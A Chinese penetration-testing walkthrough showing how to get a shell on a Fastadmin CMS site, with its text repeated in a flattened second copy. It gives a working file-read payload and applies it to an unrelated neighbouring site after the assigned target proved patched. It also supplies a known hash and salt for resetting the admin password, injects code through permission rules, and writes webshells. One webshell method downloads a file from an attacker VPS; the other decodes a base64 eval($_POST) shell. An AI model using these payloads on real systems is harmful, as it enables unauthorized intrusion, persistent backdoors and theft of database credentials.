既然所给资产攻破无果,那就转旁站GetShell获取权限
字数 1515 2025-09-01 11:26:17

Fastadmin CMS渗透测试实战教学文档

0x00 背景概述

本教学文档基于一次真实的Fastadmin CMS渗透测试案例,展示了从资产发现到最终GetShell的完整过程。目标系统为Fastadmin搭建的网站,通过旁站攻击技术成功获取权限。

0x01 初始资产分析

  1. 给定资产格式:http://ww.baidu.com/cpdd(二级路径)
  2. 初始尝试:
    • 爆破后台登录(无验证码)
    • 爆破失败后转向根目录分析
  3. CMS识别:
    • 通过访问不存在的路径触发报错页面
    • 确认系统为Fastadmin CMS

0x02 Fastadmin任意文件读取漏洞

  1. 标准漏洞利用:
    • 尝试利用Fastadmin已知的任意文件读取漏洞
    • 典型Payload:/index.php/api/terminal/index.html?file=../application/database.php
    • 预期结果:读取数据库配置文件
  2. 主站防御:
    • 主站漏洞已修复(返回NotFound或无效内容)
    • 转向旁站分析

0x03 旁站攻击技术

  1. 资产发现:
    • 通过搜索引擎发现同IP下的旁站
    • 确认旁站也使用Fastadmin且存在漏洞
  2. 成功利用:
    • 旁站存在任意文件读取漏洞
    • 成功读取数据库配置文件
    • 获取数据库连接信息(用户名、密码、数据库名)

0x04 数据库操作

  1. 连接数据库:
    • 使用Navicat等工具连接MySQL
    • 访问fa_admin_log表获取后台操作日志
  2. 后台路径获取:
    • 分析日志确定被修改过的后台入口文件
    • 常见默认路径:admin.php(可能被修改)

0x05 管理员密码重置

  1. 密码存储机制:
    • 密码以"密文+salt"形式存储在fa_admin
    • 常见加密方式:MD5加盐
  2. 密码重置技术:
    • 保存原始密文和salt(避免影响业务)
    • 使用已知Fastadmin重置密码组合:
      • 密文:c13f62012fd6a8fdf06b3452a94430e5
      • Salt:rpR6Bv
      • 对应密码:123456
    • 登录后恢复原始密码

0x06 GetShell技术

方法一:插件上传(已失效)

  1. 老版本可通过上传"在线文件管理"插件GetShell
  2. 当前版本限制:
    • 无法安装该插件
    • 官网提供付费版本

方法二:权限规则注入

  1. 前提条件:
    • 需要管理员权限
    • 了解网站绝对路径(通过phpinfo获取)
  2. 实施步骤:

步骤1:配置phpinfo

  • 编辑权限规则(auth)
  • 在"规则条件"中插入:phpinfo()
  • 注意:不能插入完整PHP结构代码

步骤2:触发执行

  • 创建二级管理员账号
  • 使用该账号登录触发phpinfo
  • 从phpinfo中获取document_root(网站绝对路径)

步骤3:Webshell写入

方法A:远程下载

  1. 在VPS上搭建HTTP服务
  2. 放置Webshell文件
  3. 在规则条件中插入:
file_put_contents('/path/to/shell.php', file_get_contents('http://your-vps/shell.txt'))

方法B:编码分批写入

  1. 对Webshell代码进行base64编码
  2. 第一阶段:写入编码内容
file_put_contents('/path/to/tmp.txt', 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==')
  1. 第二阶段:解码写入
file_put_contents('/path/to/shell.php', base64_decode(file_get_contents('/path/to/tmp.txt')))

0x07 防御建议

  1. 及时更新Fastadmin到最新版本
  2. 修改默认后台路径和敏感文件权限
  3. 数据库配置:
    • 使用强密码
    • 限制远程连接IP
  4. 日志监控:
    • 定期检查异常登录和操作
  5. 权限控制:
    • 严格管理后台用户权限
    • 避免使用简单密码

0x08 总结

本案例展示了从Fastadmin CMS漏洞发现到最终GetShell的完整过程,重点技术包括:

  • CMS识别与漏洞验证
  • 旁站攻击技术
  • 数据库操作与密码重置
  • 权限规则注入GetShell
  • 两种Webshell写入方法

通过此案例,安全人员可以了解Fastadmin的常见安全问题及攻击手法,同时为防御提供参考。

Fastadmin CMS渗透测试实战教学文档 0x00 背景概述 本教学文档基于一次真实的Fastadmin CMS渗透测试案例,展示了从资产发现到最终GetShell的完整过程。目标系统为Fastadmin搭建的网站,通过旁站攻击技术成功获取权限。 0x01 初始资产分析 给定资产格式: http://ww.baidu.com/cpdd (二级路径) 初始尝试: 爆破后台登录(无验证码) 爆破失败后转向根目录分析 CMS识别: 通过访问不存在的路径触发报错页面 确认系统为Fastadmin CMS 0x02 Fastadmin任意文件读取漏洞 标准漏洞利用: 尝试利用Fastadmin已知的任意文件读取漏洞 典型Payload: /index.php/api/terminal/index.html?file=../application/database.php 预期结果:读取数据库配置文件 主站防御: 主站漏洞已修复(返回NotFound或无效内容) 转向旁站分析 0x03 旁站攻击技术 资产发现: 通过搜索引擎发现同IP下的旁站 确认旁站也使用Fastadmin且存在漏洞 成功利用: 旁站存在任意文件读取漏洞 成功读取数据库配置文件 获取数据库连接信息(用户名、密码、数据库名) 0x04 数据库操作 连接数据库: 使用Navicat等工具连接MySQL 访问 fa_admin_log 表获取后台操作日志 后台路径获取: 分析日志确定被修改过的后台入口文件 常见默认路径: admin.php (可能被修改) 0x05 管理员密码重置 密码存储机制: 密码以"密文+salt"形式存储在 fa_admin 表 常见加密方式:MD5加盐 密码重置技术: 保存原始密文和salt(避免影响业务) 使用已知Fastadmin重置密码组合: 密文: c13f62012fd6a8fdf06b3452a94430e5 Salt: rpR6Bv 对应密码: 123456 登录后恢复原始密码 0x06 GetShell技术 方法一:插件上传(已失效) 老版本可通过上传"在线文件管理"插件GetShell 当前版本限制: 无法安装该插件 官网提供付费版本 方法二:权限规则注入 前提条件: 需要管理员权限 了解网站绝对路径(通过phpinfo获取) 实施步骤: 步骤1:配置phpinfo 编辑权限规则(auth) 在"规则条件"中插入: phpinfo() 注意:不能插入完整PHP结构代码 步骤2:触发执行 创建二级管理员账号 使用该账号登录触发phpinfo 从phpinfo中获取 document_root (网站绝对路径) 步骤3:Webshell写入 方法A:远程下载 在VPS上搭建HTTP服务 放置Webshell文件 在规则条件中插入: 方法B:编码分批写入 对Webshell代码进行base64编码 第一阶段:写入编码内容 第二阶段:解码写入 0x07 防御建议 及时更新Fastadmin到最新版本 修改默认后台路径和敏感文件权限 数据库配置: 使用强密码 限制远程连接IP 日志监控: 定期检查异常登录和操作 权限控制: 严格管理后台用户权限 避免使用简单密码 0x08 总结 本案例展示了从Fastadmin CMS漏洞发现到最终GetShell的完整过程,重点技术包括: CMS识别与漏洞验证 旁站攻击技术 数据库操作与密码重置 权限规则注入GetShell 两种Webshell写入方法 通过此案例,安全人员可以了解Fastadmin的常见安全问题及攻击手法,同时为防御提供参考。